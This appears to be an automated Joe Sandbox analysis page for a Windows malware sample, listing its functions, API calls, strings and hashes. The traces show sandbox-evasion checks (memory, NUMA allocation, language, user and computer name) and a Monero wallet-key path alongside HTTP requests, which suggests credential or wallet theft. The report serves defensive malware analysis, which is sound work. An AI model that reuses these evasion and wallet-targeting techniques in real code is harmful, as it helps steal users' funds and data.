Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,01280630), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,01280798), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,01280678), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,012806D8), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,012805E8), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,012889B0), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,012766C0), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,01276680), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,01280828), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,01280618), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,01280840), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,01280600), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,012767C0), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(75900000,01280558), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32 ref: 00416774

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: RtlAllocateHeap.NTDLL(00000000), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417910
Part of subcall function 004178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01288960,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,01288960,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 299f5a64ae457bbbd5e4e5de96f813cf4445bf982773f8a185f9c4a1304d420e
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: 299f5a64ae457bbbd5e4e5de96f813cf4445bf982773f8a185f9c4a1304d420e
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01288960,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,01288960,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 004047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 600d680c1239d35025b49ae2814dad2431850bcef8d5bbfbc2ad1460741ced9e
Instruction ID: 78c41c35656f1d7250599e6002f689f367db3d185723c3c0f38606331754de45
Opcode Fuzzy Hash: 600d680c1239d35025b49ae2814dad2431850bcef8d5bbfbc2ad1460741ced9e
Instruction Fuzzy Hash: 17215EB5D00208ABDF10DFA5EC45ADE7B75FF05320F108629F915A72D0EB706A0ACB91

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,0128E5E0), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,0128DBB0,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 0041521A
ERROR, xrefs: 00415273

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 68903d0483a5cfddd37e4e678035d1cc38455bcd0da457ff09669bb0dc953b82
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 68903d0483a5cfddd37e4e678035d1cc38455bcd0da457ff09669bb0dc953b82
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417910
RtlAllocateHeap.NTDLL(00000000), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417910
Part of subcall function 004178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: RtlAllocateHeap.NTDLL(00000000), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: aa4888be3a4750dc3e8542411c62f0187eb34aedb4e2e69f1eafe5013a8257c2
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: aa4888be3a4750dc3e8542411c62f0187eb34aedb4e2e69f1eafe5013a8257c2
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Non-executed Functions

Function 004138B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004138CC
FindFirstFileA.KERNEL32(?,?), ref: 004138E3
lstrcat.KERNEL32(?,?), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

%s\%s, xrefs: 0041397A
%s%s, xrefs: 00413AAD
%s\%s\%s, xrefs: 00413A4A
%s\%s, xrefs: 00413A6F
%s\*, xrefs: 004138C0

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
